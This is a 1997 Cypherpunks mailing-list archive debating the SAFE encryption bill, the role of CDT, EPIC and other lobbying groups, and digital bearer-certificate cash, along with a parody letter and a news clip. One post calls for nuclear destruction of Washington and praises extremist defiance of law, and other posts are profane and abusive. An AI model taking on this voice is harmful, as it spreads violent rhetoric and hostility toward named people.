>>> Can you consider, perhaps, for a second, that critics of SAFE are being >> >>> unreasonable? I would think so, as critics of SAFE include the Clinton >> >>> Administration. Is that the kind of company that cypherpunks keep? >> >>> >> >>> Here's a great excerpt from the Internet Privacy Coalition letter: >> >>> >> >>> The pending bill provides a positive framework for the reforms >>that are >> >>> long overdue in this critical area. It makes clear that the sale >>or use >> >>> of >> >>> encryption, a vital technique to promote network security and >>individual >> >>> privacy, should not be restricted in the United States. This is >>the view >> >>> widely shared by users of the Internet and the computer and >> >>>communications >> >>> industry. It was also a central recommendation of the >> >>> report of the National Research Council last year. >> >>> >> >>> Looks like widespread support from people who study this issue for >>living. >> >>> I'm glad to be counted among them. >> >>> >> >>> -S >> >>> >> >>> -Shabbir >> >>> >> >>> >> >> >> >> >> From whgiii at amaranth.com Fri May 2 09:17:41 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Sat, 3 May 1997 00:17:41 +0800 Subject: SAFE Bill / Fuck You (an inch at a time) In-Reply-To: <199705020430.VAA16643@fat.doobie.com> Message-ID: <199705021545.KAA08767@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199705020430.VAA16643 at fat.doobie.com>, on 05/01/97 at 10:30 PM, nobody at huge.cajones.com (Huge Cajones Remailer) said: > We put up with crap from our government that we wouldn't accept from >someone trying to sell us a mouthwash. The reason that we're not all >drinking the "New Coke" is that D.C. has siphoned off all of the spin >doctors/brainwashers from the corporate advertising industry. Well there must be a few spin-doctors left as we are drinking "New Coke". :) The whole "New Coke/Orriginal Coke" was one of the best con jobs I have ever seen. The Coca-Cola Company had a small problem, the cost of sugar. It's compitition was using corn suryp as a sweetner in their products which was much cheaper than the sugar Coca-Cola was using in theirs. Now how were they going to switch from sugar to corn suryp in Coke without lossing a portion of their customers because of the change in taste? NEW COKE!! Here is what they did: Come out with NEW COKE which was a major formula change. Drop OLD COKE at the same time. Wait a few months while the natives are restless over the change. Bring back "OLD COKE" due to customer demmand (making Coca-Cola Inc. the "good" guys). Don't tell anyone that you have switched from sugar to corn suryp (the sheep will never notice). Vola!! Now Coca-Cola has dramatically increased their profits and won a major PR campain (they care about their customers) sales are up costs are down and the sheep are happy. Now I have NEVER seen the neanderthals in DC ever pull off somthing this good. :) - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: If Windows sucked it would be good for something. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM2obkI9Co1n+aLhhAQFHfQQAr3ZCGiGvI2x1hWtcjlSIlt13uKG9RLvW 3L4Y85PdSJdcdx+M5fPBpiwGwVEw1AuGuV5irWvumJZFhC2QazDB5Rs/SfTigCJw B9LEqftJi3J1UHzNFRGpdR7H1YR4bmrw95shbu1ufbloQwh2r9ykRHF3uXsRHuo8 FH2Q9S3J1yI= =CvCv -----END PGP SIGNATURE----- From shabbir at vtw.org Fri May 2 09:21:27 1997 From: shabbir at vtw.org (Shabbir J. Safdar) Date: Sat, 3 May 1997 00:21:27 +0800 Subject: TWO Letters on SAFE In-Reply-To: Message-ID: Thanks Marc, for the efforts at clearing things. The CDT letter was sent to the subcommittee, for reasons we've all already talked about (that these issues are better handled at the full committee). The Internet Privacy Coalition letter, which we all signed, was sent to Goodlatte and contains the following quote: For the reasons set forth below, we recommend that this provision be reconsidered when the COMMITTEE considers the bill. [emphasis added] Note, that Committee means full Committee, not subcommittee. -S At 11:33 AM -0500 5/2/97, Marc Rotenberg wrote: >Shabbir is a very good organizer and often very busy, which >may explain the confusion about the TWO letters that were >sent out regarding SAFE. > >CDT sent a letter to Hon. Howard Conable, the chair of the >Subcommittee, on April 24 which said that "CDT strongly urges >you to report H.R. 695, the SAFE Act, out of the Courts >and Intellectual Property Subcommittee without amendment." >[The CDT letter is at >http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html] > >EPIC helped coordinate a different letter for the Internet >Privacy Coalition, which went to Rep. Goodlatte on April >28 and said > > While expressing our support for the measure, we wish > also to state our concern about one provision contained > in the bill. We believe that this provision, which would > create new criminal penalties for the use of encryption in > furtherance of a crime, could undermine the otherwise laudable > goals of the legislation. For the reasons set forth below, we > recommend that this provision be reconsidered when the Committee > considers the bill. > >The IPC letter was signed by 26 privacy groups, user organizations, >private companies, and trade associations. [The IPC letter is >at http://www.privacy.org/ipc/safe_letter.html ] > > >Marc Rotenberg >EPIC. > > > > >At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote: >>At 8:49 AM -0400 5/2/97, Declan McCullagh wrote: >>>Two quick points: >>> >>>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a >>>letter to the House subcommittee on April 29 urging that SAFE be approved >>>without any changes? (I'm in Oklahoma right now and I have a copy of that >>>letter in my office in DC, but that's what I remember.) >> >>Declan, I can't believe you did your research so poorly. Go look at the >>Internet Privacy Coalition letter at >>http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE >>bill page at http://www.crypto.com/safe_bill/ and read the pointer from >>there. >> >>You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR, >>Eagle Forum, VTW, and PGP all signed. >> >>Since you've been laboring under this mistaken impression, you owe somebody >>at CDT a big fucking apology. >> >>-S >> >>> >>> >>>On Thu, 1 May 1997, Shabbir J. Safdar wrote: >>> >>>> The Administration hates this bill, because it threatens their ability to >>>> roll out Key Recovery. They've said as much in the letter Declan >>>>forwarded: >>>> >>>> "The bill could be read as prohibiting the United States government >>>> from using appropriate incentives to support a key management >>>> infrastructure and KEY RECOVERY." [emphasis added] >>>> >>>> Do you think that if this bill helped the Administration, that they'd be >>>> out there urging the subcommittee chairman to stop it? I think not. >>>> >>>> I'm also puzzled by the fact that CDT is being criticized pretty much >>>> solely, even though the entire Internet Privacy Coalition, and several >>>> other groups all wrote a letter of support of the bill with only a >>>> criticism of one provision. However the overall statement was of support. >>>> (see http://www.privacy.org/ipc/safe_letter.html) >>>> >>>> As far as I can tell, everyone criticizing the bill either thinks that: >>>> >>>> a) CDT actually runs all these groups behind the scenes, or >>>> b) pretty much all of the Internet advocates believe that this bill >>>> is needed and are doing the best they can with what >>>>Congress has >>>> written. >>>> >>>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax >>>> Reform, the Association for Computing Machinery, Computer >>>>Professionals for >>>> Social Responsiblity, Eagle Forum, the National Association for Criminal >>>> Defense Lawyers, and PGP Inc all signed this letter. >>>> >>>> Can you consider, perhaps, for a second, that critics of SAFE are being >>>> unreasonable? I would think so, as critics of SAFE include the Clinton >>>> Administration. Is that the kind of company that cypherpunks keep? >>>> >>>> Here's a great excerpt from the Internet Privacy Coalition letter: >>>> >>>> The pending bill provides a positive framework for the reforms that are >>>> long overdue in this critical area. It makes clear that the sale or use >>>> of >>>> encryption, a vital technique to promote network security and individual >>>> privacy, should not be restricted in the United States. This is the view >>>> widely shared by users of the Internet and the computer and >>>>communications >>>> industry. It was also a central recommendation of the >>>> report of the National Research Council last year. >>>> >>>> Looks like widespread support from people who study this issue for living. >>>> I'm glad to be counted among them. >>>> >>>> -S >>>> >>>> -Shabbir >>>> >>>> From jseiger at cdt.org Fri May 2 09:21:45 1997 From: jseiger at cdt.org (Jonah Seiger) Date: Sat, 3 May 1997 00:21:45 +0800 Subject: TWO Letters on SAFE In-Reply-To: Message-ID: This is indeed true - CDT sent a separate letter and signed the IPC letter. As Marc Rotenberg knows very well, the legislative process is complicated. Marc also knows that Goodlatte, Coble, Lofgren, and the other subcommittee supporters of SAFE chose not to consider any amendments at the subcommittee markup, but rather to take up our concerns at the full committee. Goodlatte's staff and the other sponsors of SAFE had worked very hard to prevent any amendments, hostile *and* friendly, at the subcommittee vote for fear of hostile amendments from the Administration and opponents of SAFE in the congress. A bill isn't worth much when it gets to the full Committee if it gets gutted at the Subcommittee. Goodlatte wanted to get some momentum behind it before going into the expected all out fight at the full committee. CDT sent a separate letter to the subcommittee members focused on the subcommittee markup urging the them to pass the bill without amendments. The IPC letter was deliberately left vague with the intent of focusing on the full Judiciary committee vote later this month. We also signed the IPC letter to the full committee urging changes to the criminal provision, and intend to work to see those changes through. Jonah At 11:33 AM -0500 5/2/97, Marc Rotenberg wrote: >Shabbir is a very good organizer and often very busy, which >may explain the confusion about the TWO letters that were >sent out regarding SAFE. > >CDT sent a letter to Hon. Howard Conable, the chair of the >Subcommittee, on April 24 which said that "CDT strongly urges >you to report H.R. 695, the SAFE Act, out of the Courts >and Intellectual Property Subcommittee without amendment." >[The CDT letter is at >http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html] > >EPIC helped coordinate a different letter for the Internet >Privacy Coalition, which went to Rep. Goodlatte on April >28 and said > > While expressing our support for the measure, we wish > also to state our concern about one provision contained > in the bill. We believe that this provision, which would > create new criminal penalties for the use of encryption in > furtherance of a crime, could undermine the otherwise laudable > goals of the legislation. For the reasons set forth below, we > recommend that this provision be reconsidered when the Committee > considers the bill. > >The IPC letter was signed by 26 privacy groups, user organizations, >private companies, and trade associations. [The IPC letter is >at http://www.privacy.org/ipc/safe_letter.html ] > > >Marc Rotenberg >EPIC. > * Value Your Privacy? The Governmet Doesn't. Say 'No' to Key Escrow! * Adopt Your Legislator - http://www.crytpo.com/adopt -- Jonah Seiger, Communications Director (v) +1.202.637.9800 Center for Democracy and Technology pager +1.202.859.2151 PGP Key via finger http://www.cdt.org http://www.cdt.org/homes/jseiger From nobody at huge.cajones.com Fri May 2 09:23:37 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 3 May 1997 00:23:37 +0800 Subject: A Letter from the Smithsonian Message-ID: <199705021552.IAA02491@fat.doobie.com> Dear Dr. Dimitri Vulis, Thank you for your latest submission to the Institute, labeled "211-D, layer seven, next to the clothesline post. Hominid skull." We have given this specimen a careful and detailed examination, and regret to inform you that we disagree with your theory that it represents "conclusive proof of the presence of Early Man in Queens County two million years ago." Rather, it appears that what you have found is the head of a Barbie doll, of the variety one of our staff, who has small children, believes to be the "Malibu Barbie". It is evident that you have given a great deal of thought to the analysis of this specimen, and you may be quite certain that those of us who are familiar with your prior work in the field were loathe to come to contradiction with your findings. However, we do feel that there are a number of physical attributes of the specimen which might have tipped you off to its modern origin: 1. The material is molded plastic. Ancient hominid remains are typically fossilized bone. 2. The cranial capacity of the specimen is approximately 9 cubic centimeters, well below the threshold of even the earliest identified proto-hominids. 3. The dentition pattern evident on the "skull" is more consistent with the common domesticated canine (dog) than it is with the "ravenous man-eating Pliocene clams" you speculate roamed the wetlands during that time. This latter finding is certainly one of the most intriguing hypotheses you have submitted in your history with this institution, but the evidence seems to weigh rather heavily against it. Without going into too much detail, let us say that: A. The specimen looks like the head of a Barbie doll that a dog has chewed on. B. Clams don't have teeth. It is with feelings tinged with melancholy that we must deny your request to have the specimen carbon dated. This is partially due to the heavy load our lab must bear in its normal operation, and partly due to carbon dating's notorious inaccuracy in fossils of recent geologic record. To the best of our knowledge, no Barbie dolls were produced prior to 1956 AD, and carbon dating is likely to produce wildly inaccurate results Sadly, we must also deny your request that we approach the National Science Foundation's Phylogeny Department with the concept of assigning your specimen the scientific name "Australopithecus spiff-arino." Speaking personally, I, for one, fought tenaciously for the acceptance of your proposed taxonomy, but was ultimately voted down because the species name you selected was hyphenated, and didn't really sound like it might be Latin.  However, we gladly accept your generous donation of this fascinating specimen to the museum. While it is undoubtedly not a hominid fossil, it is, nonetheless, yet another riveting example of the great body of work you seem to accumulate here so effortlessly. You should know that our Director has reserved a special shelf in his own office for the display of the specimens you have previously submitted to the Institution, and the entire staff speculates daily on what you will happen upon next in your digs at the site you have discovered in your back yard. Dr. Vulis, we eagerly anticipate your trip to our nation's capital that you proposed in your last letter, and several of us are pressing the Director to pay for it. We are particularly interested in hearing you expand on your theories surrounding the "trans-positating fillifitation of ferrous ions in a structural matrix" that makes the excellent juvenile Tyrannosaurus rex femur you recently discovered take on the deceptive appearance of a rusty 9-mm Sears Craftsman automotive crescent wrench. Yours in Science, Harvey Rowe Curator, Antiquities From lucifer at dhp.com Fri May 2 09:24:11 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sat, 3 May 1997 00:24:11 +0800 Subject: SAFE Bill discussion Message-ID: <199705021555.LAA00885@dhp.com> Mac Norton wrote: > On Fri, 2 May 1997, Shabbir J. Safdar wrote: > > By attacking the supporters of the bill, you're attacking CDT, the ACLU, > > EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc. You're > > saying that all the Internet advocates have turned against crypto? > > Criticizing the bill is not the same thing as "attacking" its > supporters. Criticizing the arguments of those supporters in > favor of the bill, and questioning seeming inconsistencies > therein, is not the same thing as "attacking" those supporters. > Nor does such criticism imply an accusation that all, or > even some, of those supporters "have turned against crypto." > > The illogical equlvalence you set up, however, does seem to > be characteristic of these supporters' arguments.:) Nor does citing a litany of 'Libertarian Approved Sources of Good and Righteousness" reduce the size of the stick getting shoved up one's butthole, or the right and responsibility of those who oppose this action to speak up. These fine, upstanding organizations that Shabbir speaks of have all become a part of the system. They have learned to play along with the compromise game, just like would-be terrorists who give up their hostages one-by-one to the 'negotiators'. The secret of hostage negotiation is to convince your opponent that you are his 'friend' and to convince him/her to be 'reasonable'. (Read "compromise.") I recently had a lawyer who suggested that I take the 'deal' that the prosecution was offering me, because it was a 'good one', even though I was innocent. Fuck him. I acted on my own behalf and tore the prosecutor a new asshole in court. The irony is that my lawyer, in the words of the judge, herself, was "one of the better lawyers" in the community. Fuck the "CDT, the ACLU, EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc." And fuck Mother Teresa if she wants me to support the SAFE bill. I don't care how many children she's saved, it has nothing to do with my decision to fight against bad legislation. TruthMonger From tcmay at got.net Fri May 2 09:35:10 1997 From: tcmay at got.net (Tim May) Date: Sat, 3 May 1997 00:35:10 +0800 Subject: SAFE Bill discussion In-Reply-To: <3.0.1.32.19970502011449.027f8298@pop.sirius.com> Message-ID: At 5:47 AM -0800 5/2/97, Shabbir J. Safdar wrote: >Ah, so here is the source of all the conspiracy theories: > >At 1:14 AM -0700 5/2/97, Greg Broiles wrote: >>At 09:12 PM 5/1/97 -0400, Shabbir J. Safdar wrote: >> >>>I'm also puzzled by the fact that CDT is being criticized pretty much >>>solely, even though the entire Internet Privacy Coalition, and several >>>other groups all wrote a letter of support of the bill with only a >>>criticism of one provision. >> >>I think this is occurring for two reasons: >>2. It strikes me as unlikely that all of the groups mentioned really sat >>down and hashed all of this out - my hunch is that one or two of the groups >>wrote up an analysis and a proposed letter, and asked the other groups to >>sign on. A likely suspect for the/a group who did the behind-the-scenes >>work is CDT. Well, no. As the person who apparently triggered this latest round of SAFE-cracking, I'll comment on why I focussed on CDT: * it was CDT who was issuing most of the alerts, the letters, and the cheerleadings. (If EFF had any such messages, I didn't see them, nor did I see such alerts from the other organizations you mentioned as being supporters of SAFE.) * the CDT press release was a convenient message to respond to. * the CDT Web site is where I've been finding the text of these bills (thanks, of course, and I mean that). I don't worry about nonense about whether CDT pulls the strings, though in one of my later messages I _did_ say I think CDT will carry the baggage of SAFE the way EFF carried the baggage of Digital Telephony. People don't forget who's out in front. --Tim May There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From shamrock at netcom.com Fri May 2 09:46:12 1997 From: shamrock at netcom.com (Lucky Green) Date: Sat, 3 May 1997 00:46:12 +0800 Subject: SAFE Bill discussion Message-ID: <3.0.32.19970502093536.0074f364@netcom13.netcom.com> At 09:47 AM 5/2/97 -0400, Shabbir J. Safdar wrote: >By attacking the supporters of the bill, you're attacking CDT, the ACLU, >EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc. You're >saying that all the Internet advocates have turned against crypto? > >I don't think so. I think you're sense of perspective is out of whack. I think the members of the privacy coalition suffer from the EFF syndrome. The same syndrome that got us Digital Telephony, because the EFF got suckered into believing that it "was the best deal we could get". Yeah, right. The government managed to sucker the EFF then. Now, they are suckering the members of the "privacy" coalition into supporting a law that will gain us *nothing* we don't already have while potentially putting citizens away for five years for the most minor offenses. SAFE must be either completely rewritten (unlikely) or defeated. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From lwp at mail.msen.com Fri May 2 09:50:06 1997 From: lwp at mail.msen.com (Lou Poppler) Date: Sat, 3 May 1997 00:50:06 +0800 Subject: Booby traps, but no anarchist writings Message-ID: >From today's NYT http://www.nytimes.com/yr/mo/day/news/national/ny-explosives.html [N] EW YORK -- A Bronx man who booby-trapped his apartment with homemade bombs accidentally blew his left hand off Thursday morning, the police said, [snip] Just what Saperstein -- who has a criminal record dating back to 1983 for weapons possession, disorderly conduct and drug possession -- was doing with all the explosives puzzled investigators. "There's no indication he was involved in any group," said a police investigator, who spoke on the condition of anonymity. "There were no rantings or anarchist writings of any kind." [snip] [end of quoted material] Good thing this guy didn't have a folder of old cypherpunks messages on a hard drive! Then he'd *really* be in trouble I guess. From jseiger at cdt.org Fri May 2 10:31:35 1997 From: jseiger at cdt.org (Jonah Seiger) Date: Sat, 3 May 1997 01:31:35 +0800 Subject: High Ranking Reprsentative pulls support of SAFE... Message-ID: Looks like the FBI and thier allies have been playing hardball, and have managed to convince a high-ranking Republican member of Congress to buy into their ani-cryto reform arguments. Solomon is the Chairman of the House Rules Committee. This fight just got a lot tougher. Jonah ---- May 1, 1997 OPPOSE HR. 695 "SAFE ACT" Dear Colleague: Earlier this week, after meeting with officials from Defense and FBI, I removed myself as a cosponsor of HR 695. Allow me to explain some of their concerns about this bill. The Department of Defense believes that HR 695 would increase the export threshold for encryption software to a level which would effectively remove existing controls. This would make unbreakable encryption technology widely available and "have a negative impact on national security, effective law enforcement and public safety". The FBI opposes the bill because, "It would be irresponsible for the U.S. to adopt a policy that consciously unleashes widespread, unbreakable, non-key recovery encryption products that undermine law enforcement in the United States and worldwide." I also met with Ambassador Aaron (OECD), who pointed out that many of the major industrial countries have already approved encryption safeguards and the rest are waiting for the United States to act. He believes HR 695 would send the worst possible signal to our allies. Lastly, Assistant Attorney General Andrew Fois stated in a letter to Chairman Coble, "... the bill would severely compromise law enforcement's ability to protect the American people from the threats posed by terrorists, organized crime, child pornographers, drug cartels, financial predators, hostile foreign intelligence agents, and other criminals... It is difficult enough to fight crime without making criminals' tasks any easier." In addition to the FBI and DOD the legislation is opposed by the Justice Department, Central Intelligence,. the NSA, the National District Attorney's Association, the International Association of Chiefs of Police and the National Sherrif's Association. Again, I would ask you to oppose HR 695. Sincerely, [signed] GERALD B. SOLOMON Member of Congress. * Value Your Privacy? The Governmet Doesn't. Say 'No' to Key Escrow! * Adopt Your Legislator - http://www.crytpo.com/adopt -- Jonah Seiger, Communications Director (v) +1.202.637.9800 Center for Democracy and Technology pager +1.202.859.2151 PGP Key via finger http://www.cdt.org http://www.cdt.org/homes/jseiger From tcmay at got.net Fri May 2 10:37:49 1997 From: tcmay at got.net (Tim May) Date: Sat, 3 May 1997 01:37:49 +0800 Subject: The Virtues of Extremism Message-ID: It seems to me we're seeing an obvious manfestation of the classic "inside the Beltway" mentality. The vocal SAFE suporters are so closely aligned with the legislative process that they can't see the forest for the trees. I won't even speculate too much about the dynamics of why this is so, but it's been seen time and time again. Maybe it's that their vision becomes tunnel vision, sort of like the way a pilot focusses on his altimeter, tapping it and not quite believing it, as his plane crashes into the ground. Maybe this is the only world they know, the world of lobbying. Maybe they do truly believe it's "the best deal we can get." Well, I am not inside the Beltway, and I don't think much of _anything_ Washington does. I refused to renew my membership in the National Rifle Association when it became clear they were "playing the game," going along with repressive, gun-grabbing legislation because "this is the best deal we can get." The NRA lost a lot of members with this stance, and saw gun ownership rights eroded at every turn. The new leadership, elected after this fiasco, pledged that no longer would they "work with" repressive legislation. We'll see what happens. Meanwhile, as with the Cypherpunks movement, vastly more radical steps are needed to sanction the gun grabbers like Swinestein and her leftist allies. (Hint: the more extremist organizations I now work with are probably one of the areas I'm apparently committing putative felonies in. We don't treat the gun laws as valid, and will defend our rights against any gun grabbers. That we use PGP means we could easily face the maximum CDT-approved sentence. As Marc Rotenberg reminded us, the CDT wrote: ""CDT strongly urges you to report H.R. 695, the SAFE Act, out of the Courts and Intellectual Property Subcommittee without amendment." Fuck Congress, and fuck CDT.) "Extremism in the defense of liberty is no vice." Now more than ever Cypherpunks need to take action. If SAFE becomes law, every single organization which supported it should be held accountable. That means PGP, Inc., if indeed PGP, Inc. supports this repressive legislation. Perhaps we should think about sending letters, summarizing the points we've been making here, to all of these organizations which signed the letter supporting SAFE. Perhaps many of the organizations spent little time thinking about the issues. Perhaps Roger Schlafly should speak to his mother (head of the Eagle Forum, as I recall) about the chilling effects of criminalizing crypto use when any of the tens of thousands of Big Brother-defined "prosecutable offenses" are allegedly committed. Perhaps we should ask Phil Zimmermann why PGP, Inc. supports this. Or perhaps he'll finally see the light when some of his anti-nuke friends are charged with using his own product, PGP, in connection with their "prosecutably offenses" at the Nevada Test Site! That would be ironic indeed. It's time we simply give up on Washington and its criminal actions. Washington is a cancer than can only be cured with a few megatons of nuclear disinfectant. --Tim May, still a felon, and soon to be even more of a felon if he uses crypto in support of his activities There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From rah at shipwright.com Fri May 2 10:38:23 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 3 May 1997 01:38:23 +0800 Subject: digital cc transactions, digital checks vs real digital cash In-Reply-To: Message-ID: At 5:37 am -0400 on 5/2/97, Adam Back wrote: > It's not an attempt to make money less negotiable, though this is of > course the effect. Say no more. :-). > It's just another approach to avoiding the banking > regulations. As you admit the market will take care of the exchange > mechanism, it just adds inconvenience in locating the exchange > mechanisms, and the stigma that the mechanisms are not official. The model I've been talking about, with a trustee bank holding the book-entry assets for the certificates on the net does exactly this, without the "inconvenience" of avoiding banking regulations. :-). Occam's razor. > So now you get to trust the trustee. Doesn't seem like a big > improvement. Again, you can't have finance without trust. Fortunately, in cypherspace, reputation is orthogonal to identity. No problem. You have identified accounts for the underwriters, but you have unidentified users (once the certificates are on the net) of the cash itself. > I don't think VISA and friends want anonymous settlement, they like > comprehensive transaction logs to keep people like FinCEN happy. > You're not suggesting that SET offers anonymity are you? By definition, VISA *can't* have anonymous settlement. Modulo anonymous secured credit accounts, with a tip of the metaphor to Duncan and Co. And, frankly, FinCEN *itself* can't control a bearer certificate economy, and it *knows* so. If digital bearer certificates do prove to be, say, 100 times as efficient to use as book entries, particularly on ubiquitous geodesic public networks, then FinCEN will be able monitor what comes on and off the net, but will simply have to stand back and let the net.commerce train go by . The assistant director of FinCEN as much as admitted this, on a panel I was on, last fall at the Institute (nee' Office) of Technology Assessment's conference on the regulation of digital cash. Again, folks, this is how to win the crypto fight. Just as faster shipping killed the idea of royal charters and mercantilism in favor of lazzez faire capitalism, so to will financial cryptography kill book-entry control structures and taxation. As far as SET goes, the only feature in SET that I care about, and Cybercash has this also, is the ability to "tunnel" transaction messages through the merchant to the card issuer. I claim the same kind of protocol can be used to tunnel, an ATM message, through the underwriter, and the trustee, to the cash purchaser's home bank for authentication. That's all. > Anyway, I'm not against this initial approach necessarily. Once > you've got one non-anonymous electronic payment system with low entry > costs to obtaining both a merchant and a purchaser, and is widely > accepted, you can boot strap an anonymous payment system off it. Precisely. It's an intermediate form. A profitable intermediary form, just like those proto-wings on those pond-skimming insects. See why the metaphor is useful? > The net model is that it should be that a merchant and a customer > account are the same, and can be had by filling in a web page in real > time. However, aren't they trying to make big bucks out of merchant > accounts. I'm not sure what the above means... > Will SET and Cybercash make it easier to be a merchant than it is to > be a VISA merchant? Becoming a credit card merchant is a rather > onerous expensive, slow process I hear. Right. However, this isn't like a credit card. You can almost liken an underwriter to an ATM machine, except that it "prints" cash on the spot. Yes, I know, the blinding takes place at the purchaser's machine, but the certificates don't become *negotiable* until the underwriter signs them. (That, by the way, is why you have to honor patents, because the underwriter and the trustee, for the time being, are identified, litigable, meatspace entities. The nice thing is, though, the users of the certificates are *impossible* to identify.) Anyway, the point is, modulo licensing the blind signature patent, which Digicash should do, and probably won't (this week, anyway), being an actual underwriter is more a question of marketing than anything else. Anyone with a 486 (the original mint ran on one of these) and a full-time internet feed could do it. Takes a little more work to be a bank. Part of that work is adhering to all that meatspace regulation, but, frankly, holding the float account is no different from holding any other trust account. That, as they say in the Great White North, is the beauty part. Much easier than growing a mouse in a beer bottle, eh? > You lost me there. Above you described the trustee's function as > holding the ability to issue money to keep the bank honest. What _is_ > a bearer certificate in this discussion? A digitally signed share > certificate, or other representation of an unit of value? > The trustee holds assets, in trust, which are used to capitalize the digital bearer certificates issued the underwriter. For instance, in the corporate bearer bond market, there were three people involved in issuing the bond, besides the eventual purchaser of the bond. There was the corporation, like IBM, or GE, or US Steel, say, which was issuing the bond. There was the underwriter, an investment bank, in other words, who sold the bond into the primary market, usually to brokers who in turn sold them to their clients. There was the trustee, a bank who actually handled the cash payments from the issuing corporation to the holders of the bond, and technically worked on behalf of the bond holders. On the day the interest was payable, the corporation cut a check to the trustee, who in turn cut checks to people who mailed in the little coupons they clipped off the bond every quarter. In the case of a book-entry trustee, the underwriter markets digital bearer certificates, cash in this case, to the public, in exchange for a book entry asset, money transferred through the ATM/Swift system to the underwriter's collateral account at the trustee bank. The money sits at the trustee bank until someone takes that money off the net by exchanging a digital bearer certificate for an ATM deposit transaction to the redeemer's bank. Now, sometime in the future, when there are other assets in bearer form on the net besides cash, like digital bearer bonds, or digital bearer stock, or commodities contracts, or derivatives thereof, it's easy to see how you could create a trustee which holds *those* kinds of assets instead of deposits on account somewhere in meatspace. In fact, I claim, because identity and reputation are orthogonal in cypherspace, that such a trustee, and thus, every party in the underwriting process, including the underwriter, *and* the development of any future bearer certificate cryptographic protocol, can be *anonymous*, that is, identity-free. Though, of course, they'd all have to use perfect pseudonyms. > Who issues the bearer certificates? The underwriter. > What does possesion of the bearer > certificate represent in terms of ownership of assetts? The face value of the digital bearer certificate. For example, with a traveller's check, you buy at a premium, so that the person you give the check to can redeem them at face value, or "par", in bond language. Yes, unless the agreement between you and the issuer, as enforced by the trustee, specifies that the certificate must be backed up one for one by the assets in the reserve account, held by the trustee bank, then the issuer has the right to take some of that money and invest it in something else, and not just take the interest it accrues while it sits in the trustee's account. For the most part, the particulars about what that money is used for will be subject to market constraints. For instance, if money goes onto the net and stays there and never leaves, then, in an effort to compete, an issuer might offer lower issuing fees, even discounting the price of the certificates at issue, because he's going to make it up eventually, in the interest and other returns he gets for investing some or all of that money. However, all that's probably too messy to mess around with here. If you're interested, ( a little bond humor, there), go dig up a book on corporate finance (Brealy and Meyers was a good one, once), or fixed income mathematics (Fabbozzi's was the best, last time I looked). > Actually it's micromint which has the threshold function feature > through use of k-way hashes, my hash cash is quite simple, and > probably impractical to use as a basis for a currency you wished to > connect to a real currency. There is a cost of printing hashcash > coins, which can be made high (say a weeks CPU for a P100), but > basically anyone can mint all the money they have CPU power for. This > is interesting for throttling systematic abuse of limited net > resources, and combining with a digicash system you could have > transferability as well as anonymity. However the stability of the > money supply is probably not up to it. It's kind of like allowing > anyone to print money, but making it cost them in time only; the > resources they already have. It's exactly like that, and that's why I find the idea so attractive. :-). > You think you can create a digital bearer certificate market on the > back of your architecture of issuers, and trustees. I don't see a > great difference between this and a traditional bank. That's the point. Reality, financial or otherwise, is not optional. :-). > How is it going > to reduce the per transaction overhead, and how is it in any way > distributed. (I presume your term "geodisic" refers to a distributed > value transfer system). The geodesity happens on the other side of the trustee. On the net itself. Once you get the money on the net, you can do all *kinds* of fun things there with it, and, eventually, it'll never have to leave, because, I claim, all financial assets, (stocks, bonds, notes, commodities contracts, derivatives) will be held in digital bearer form someday. It'll be too cheap not to. What we're doing at first is creating financial pond skimmers, net-based entities, in the same way that pond skimmers are air-based entities, who use financial cryptography and digital bearer certificates as proto-wings to aerodynamically flit around on the surface tension of the existing hierarchical book-entry finance system. Waterborne predators, like FinCEN, can't catch them, and the predators don't care, really. Because, sooner or later, these pond skimmers will have to breed (take the money off the net), which means laying eggs in the water, and, of course, that's where the larval pond skimmers live. :-). Of course, evolution on the net is much faster than real life. So, someday, soon, those financial cryptography pond skimmers will have wings and not rely on surface tension (book-entries) at all, and, someday after that, they won't even need water(meatspace) to hatch into. By that time, obviously, there'll be a whole *new* class of predators to worry about, but they haven't even been invented yet. > What is an ACH transaction? A electronic bank clearing protocol? > FSTC is Financial Securities Trading... electronic checks? ACH: Automated Clearinghouse. FSTC: Financial Services Technology Consortium. > Isn't this going to be just another electronic check, with full > transaction log, and associated overhead, banking regulations giving > banks enough effective monopoly to charge high handling fees? Yup. But the neat thing about them is they take pennies to clear, instead of quarters for paper checks. The other thing is, they're peer-to-peer. Credit cards aren't, remember? When was the last time you sold a car or house and took MasterCard in payment. :-). > I don't > find electronic checks that interesting. Yeah. You're a "wings" person. So am I, obviously. However, I think of FSTC (or any other) electronic checks, or 